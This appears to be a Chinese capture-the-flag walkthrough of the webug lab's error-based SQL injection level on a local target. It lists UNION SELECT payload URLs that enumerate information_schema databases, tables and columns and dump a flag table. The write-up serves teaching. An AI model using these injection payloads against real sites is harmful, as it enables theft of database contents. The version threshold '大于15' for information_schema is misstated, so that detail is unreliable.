webug 顯錯注入 WP
0x00
原網址:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1
0x01
打開,觀察url結構,發現id=1,先加個單引號'測試一下
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1'
0x02
找到注入點了,接下來看一下有多少列
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1' order by 3 %23
發現order by 3的時候報錯了,說明一共有兩列
0x03
接下來看一下顯錯點在哪里
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1' union select 1,2 %23
0x04
確認數據庫版本
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' union select 1,version() %23
數據庫版本大于15的話,mysql里面就有information_schema這個數據庫,我們可以通過這個數據庫獲取到mysql里各個數據庫及其表和字段的信息。
0x05
查找數據庫
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA %23
0x06
確定當前使用的數據庫
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,DATABASE() %23
0x07
查找當前使用的數據庫下面的所有表名
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='webug' %23
0x08
看到flag表,確定flag表的字段
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='flag' AND table_schema='webug' %23
0x09
確定flag表的內容
查看id
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(id) FROM flag %23
0x10
查看flag字段內容
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,flag FROM flag where flag.id=1 %23
0x1a
dfafdasfafdsadfa
就是我們尋找的flag,提交,成功。